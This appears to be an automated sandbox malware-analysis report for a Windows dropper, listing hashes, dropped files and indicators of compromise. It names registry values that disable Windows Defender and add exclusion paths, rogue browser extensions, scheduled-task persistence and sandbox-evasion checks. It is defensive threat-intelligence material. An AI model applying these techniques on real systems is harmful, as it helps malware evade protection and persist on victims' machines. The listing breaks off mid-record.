Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
248s -
max time network
251s -
platform
windows7_x64 -
resource
win7-20231020-en -
resource tags
arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system -
submitted
30/10/2023, 04:49
Static task
static1
Behavioral task
behavioral1
Sample
652fc19098203fda973551173a63e27ec90be970760f0a029f9ae57e453a3d2c.exe
Resource
win7-20231020-en
General
-
Target
652fc19098203fda973551173a63e27ec90be970760f0a029f9ae57e453a3d2c.exe
-
Size
7.1MB
-
MD5
58657ed42e997c6eee70e649fe8d9892
-
SHA1
56504557e5aa23c907990ce79c2eb1a20a0f272d
-
SHA256
652fc19098203fda973551173a63e27ec90be970760f0a029f9ae57e453a3d2c
-
SHA512
fa9c2a5708f18da58e9f87fa4eb612e1ed126623d701a86d1d7fba98c35488dd0f8d4c3e12a57b99104deed89b4d9958cce218de19173a3f8900de9a8c91a114
-
SSDEEP
196608:91OUgP/TcLGwBVpRKQefMiooyXDHGYdxVeHmJkZ8cr:3O3wKwBjsBojGYdcacr
Malware Config
Signatures
-
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\vPdYXglKjKUn = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\ihUYOsbkXmStDhVB = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\ihUYOsbkXmStDhVB = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\nHkJQUniIMPgfrVz = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\nHkJQUniIMPgfrVz = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\cnKtfofVELLNC = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\nHkJQUniIMPgfrVz = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\vPdYXglKjKUn = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\cnKtfofVELLNC = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\xaXHhbBRU = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\MyWyEVaGyEwOczZklbR = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\mBUaPyDkTUtU2 = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\MyWyEVaGyEwOczZklbR = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\xaXHhbBRU = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\nHkJQUniIMPgfrVz = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\mBUaPyDkTUtU2 = "0" reg.exe -
Blocklisted process makes network request 1 IoCs
flow pid Process 25 884 rundll32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2084844033-2744876406-2053742436-1000\Control Panel\International\Geo\Nation eyamQbR.exe -
Executes dropped EXE 4 IoCs
pid Process 2236 Install.exe 2752 Install.exe 1088 OiMLIRI.exe 2360 eyamQbR.exe -
Loads dropped DLL 12 IoCs
pid Process 1960 652fc19098203fda973551173a63e27ec90be970760f0a029f9ae57e453a3d2c.exe 2236 Install.exe 2236 Install.exe 2236 Install.exe 2236 Install.exe 2752 Install.exe 2752 Install.exe 2752 Install.exe 884 rundll32.exe 884 rundll32.exe 884 rundll32.exe 884 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json eyamQbR.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json eyamQbR.exe -
Drops file in System32 directory 21 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat eyamQbR.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA eyamQbR.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA eyamQbR.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_E83F1CC07F729E027C8598AD1DA25FD6 eyamQbR.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol eyamQbR.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_B67A81AFAE089B928194572649A22563 eyamQbR.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat rundll32.exe File created C:\Windows\system32\GroupPolicy\gpt.ini Install.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini OiMLIRI.exe File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol OiMLIRI.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol OiMLIRI.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA eyamQbR.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_90E6705D31DA2761A44BA5F5F40B2AEC eyamQbR.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA eyamQbR.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_E83F1CC07F729E027C8598AD1DA25FD6 eyamQbR.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_90E6705D31DA2761A44BA5F5F40B2AEC eyamQbR.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_B67A81AFAE089B928194572649A22563 eyamQbR.exe -
Drops file in Program Files directory 13 IoCs
description ioc Process File created C:\Program Files (x86)\MyWyEVaGyEwOczZklbR\mzOQmgf.dll eyamQbR.exe File created C:\Program Files (x86)\MyWyEVaGyEwOczZklbR\HqYHcPo.xml eyamQbR.exe File created C:\Program Files (x86)\cnKtfofVELLNC\QZdudWs.dll eyamQbR.exe File created C:\Program Files (x86)\vPdYXglKjKUn\BQQRyZr.dll eyamQbR.exe File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak eyamQbR.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja eyamQbR.exe File created C:\Program Files (x86)\xaXHhbBRU\CfeStqY.xml eyamQbR.exe File created C:\Program Files (x86)\cnKtfofVELLNC\vUEDdSu.xml eyamQbR.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi eyamQbR.exe File created C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi eyamQbR.exe File created C:\Program Files (x86)\mBUaPyDkTUtU2\vOYOBfwSgkCNr.dll eyamQbR.exe File created C:\Program Files (x86)\mBUaPyDkTUtU2\wamvqbK.xml eyamQbR.exe File created C:\Program Files (x86)\xaXHhbBRU\OOfSkN.dll eyamQbR.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File created C:\Windows\Tasks\byVqvYMHXaoMZDRgRv.job schtasks.exe File created C:\Windows\Tasks\YdWhrynxKGQiTdtBc.job schtasks.exe File created C:\Windows\Tasks\NmaEDVxnjLfXRnq.job schtasks.exe File created C:\Windows\Tasks\fORmCKMRpgzCRPXvW.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 13 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2588 schtasks.exe 2580 schtasks.exe 328 schtasks.exe 1472 schtasks.exe 1672 schtasks.exe 2512 schtasks.exe 1828 schtasks.exe 2192 schtasks.exe 1636 schtasks.exe 604 schtasks.exe 2640 schtasks.exe 2564 schtasks.exe 1648 schtasks.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs eyamQbR.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{433D1D61-D6B9-4F35-9292-1B9022581C0E}\WpadDecisionReason = "1" eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{433D1D61-D6B9-4F35-9292-1B9022581C0E}\d2-d3-55-b3-17-30 eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings rundll32.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f007d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 rundll32.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d2-d3-55-b3-17-30\WpadDecisionTime = e0ccdad1ec0ada01 rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs eyamQbR.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad eyamQbR.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{433D1D61-D6B9-4F35-9292-1B9022581C0E}\WpadDecisionTime = e0ccdad1ec0ada01 eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d2-d3-55-b3-17-30 eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host wscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed eyamQbR.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software wscript.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f007d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root eyamQbR.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" eyamQbR.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" eyamQbR.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 eyamQbR.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d2-d3-55-b3-17-30\WpadDecision = "0" eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs eyamQbR.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{433D1D61-D6B9-4F35-9292-1B9022581C0E}\WpadNetworkName = "Network 2" eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs eyamQbR.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d2-d3-55-b3-17-30\WpadDecision = "0" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ wscript.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d2-d3-55-b3-17-30\WpadDecisionTime = e0ccdad1ec0ada01 eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs eyamQbR.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{433D1D61-D6B9-4F35-9292-1B9022581C0E}\d2-d3-55-b3-17-30 rundll32.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix eyamQbR.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{433D1D61-D6B9-4F35-9292-1B9022581C0E}\WpadDecision = "0" eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust eyamQbR.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ eyamQbR.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d2-d3-55-b3-17-30\WpadDecisionReason = "1" eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates eyamQbR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs eyamQbR.exe -
Suspicious behavior: EnumeratesProcesses 29 IoCs
pid Process 2552 powershell.EXE 2552 powershell.EXE 2552 powershell.EXE 2336 powershell.EXE 2336 powershell.EXE 2336 powershell.EXE 900 powershell.EXE 900 powershell.EXE 900 powershell.EXE 692 powershell.EXE 692 powershell.EXE 692 powershell.EXE 2360 eyamQbR.exe 2360 eyamQbR.exe 2360 eyamQbR.exe 2360 eyamQbR.exe 2360 eyamQbR.exe 2360 eyamQbR.exe 2360 eyamQbR.exe 2360 eyamQbR.exe 2360 eyamQbR.exe 2360 eyamQbR.exe 2360 eyamQbR.exe 2360 eyamQbR.exe 2360 eyamQbR.exe 2360 eyamQbR.exe 2360 eyamQbR.exe 2360 eyamQbR.exe 2360 eyamQbR.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2552 powershell.EXE Token: SeDebugPrivilege 2336 powershell.EXE Token: SeDebugPrivilege 900 powershell.EXE Token: SeDebugPrivilege 692 powershell.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1960 wrote to memory of 2236 1960 652fc19098203fda973551173a63e27ec90be970760f0a029f9ae57e453a3d2c.exe 28 PID 1960 wrote to memory of 2236 1960 652fc19098203fda973551173a63e27ec90be970760f0a029f9ae57e453a3d2c.exe 28 PID 1960 wrote to memory of 2236 1960 652fc19098203fda973551173a63e27ec90be970760f0a029f9ae57e453a3d2c.exe 28 PID 1960 wrote to memory of 2236 1960 652fc19098203fda973551173a63e27ec90be970760f0a029f9ae57e453a3d2c.exe 28 PID 1960 wrote to memory of 2236 1960 652fc19098203fda973551173a63e27ec90be970760f0a029f9ae57e453a3d2c.exe 28 PID 1960 wrote to memory of 2236 1960 652fc19098203fda973551173a63e27ec90be970760f0a029f9ae57e453a3d2c.exe 28 PID 1960 wrote to memory of 2236 1960 652fc19098203fda973551173a63e27ec90be970760f0a029f9ae57e453a3d2c.exe 28 PID 2236 wrote to memory of 2752 2236 Install.exe 29 PID 2236 wrote to memory of 2752 2236 Install.exe 29 PID 2236 wrote to memory of 2752 2236 Install.exe 29 PID 2236 wrote to memory of 2752 2236 Install.exe 29 PID 2236 wrote to memory of 2752 2236 Install.exe 29 PID 2236 wrote to memory of 2752 2236 Install.exe 29 PID 2236 wrote to memory of 2752 2236 Install.exe 29 PID 2752 wrote to memory of 2692 2752 Install.exe 31 PID 2752 wrote to memory of 2692 2752 Install.exe 31 PID 2752 wrote to memory of 2692 2752 Install.exe 31 PID 2752 wrote to memory of 2692 2752 Install.exe 31 PID 2752 wrote to memory of 2692 2752 Install.exe 31 PID 2752 wrote to memory of 2692 2752 Install.exe 31 PID 2752 wrote to memory of 2692 2752 Install.exe 31 PID 2752 wrote to memory of 2092 2752 Install.exe 33 PID 2752 wrote to memory of 2092 2752 Install.exe 33 PID 2752 wrote to memory of 2092 2752 Install.exe 33 PID 2752 wrote to memory of 2092 2752 Install.exe 33 PID 2752 wrote to memory of 2092 2752 Install.exe 33 PID 2752 wrote to memory of 2092 2752 Install.exe 33 PID 2752 wrote to memory of 2092 2752 Install.exe 33 PID 2092 wrote to memory of 3040 2092 forfiles.exe 36 PID 2092 wrote to memory of 3040 2092 forfiles.exe 36 PID 2092 wrote to memory of 3040 2092 forfiles.exe 36 PID 2092 wrote to memory of 3040 2092 forfiles.exe 36 PID 2092 wrote to memory of 3040 2092 forfiles.exe 36 PID 2092 wrote to memory of 3040 2092 forfiles.exe 36 PID 2092 wrote to memory of 3040 2092 forfiles.exe 36 PID 2692 wrote to memory of 2756 2692 forfiles.exe 35 PID 2692 wrote to memory of 2756 2692 forfiles.exe 35 PID 2692 wrote to memory of 2756 2692 forfiles.exe 35 PID 2692 wrote to memory of 2756 2692 forfiles.exe 35 PID 2692 wrote to memory of 2756 2692 forfiles.exe 35 PID 2692 wrote to memory of 2756 2692 forfiles.exe 35 PID 2692 wrote to memory of 2756 2692 forfiles.exe 35 PID 2756 wrote to memory of 2012 2756 cmd.exe 37 PID 2756 wrote to memory of 2012 2756 cmd.exe 37 PID 2756 wrote to memory of 2012 2756 cmd.exe 37 PID 2756 wrote to memory of 2012 2756 cmd.exe 37 PID 2756 wrote to memory of 2012 2756 cmd.exe 37 PID 2756 wrote to memory of 2012 2756 cmd.exe 37 PID 2756 wrote to memory of 2012 2756 cmd.exe 37 PID 3040 wrote to memory of 2732 3040 cmd.exe 38 PID 3040 wrote to memory of 2732 3040 cmd.exe 38 PID 3040 wrote to memory of 2732 3040 cmd.exe 38 PID 3040 wrote to memory of 2732 3040 cmd.exe 38 PID 3040 wrote to memory of 2732 3040 cmd.exe 38 PID 3040 wrote to memory of 2732 3040 cmd.exe 38 PID 3040 wrote to memory of 2732 3040 cmd.exe 38 PID 2756 wrote to memory of 2696 2756 cmd.exe 39 PID 2756 wrote to memory of 2696 2756 cmd.exe 39 PID 2756 wrote to memory of 2696 2756 cmd.exe 39 PID 2756 wrote to memory of 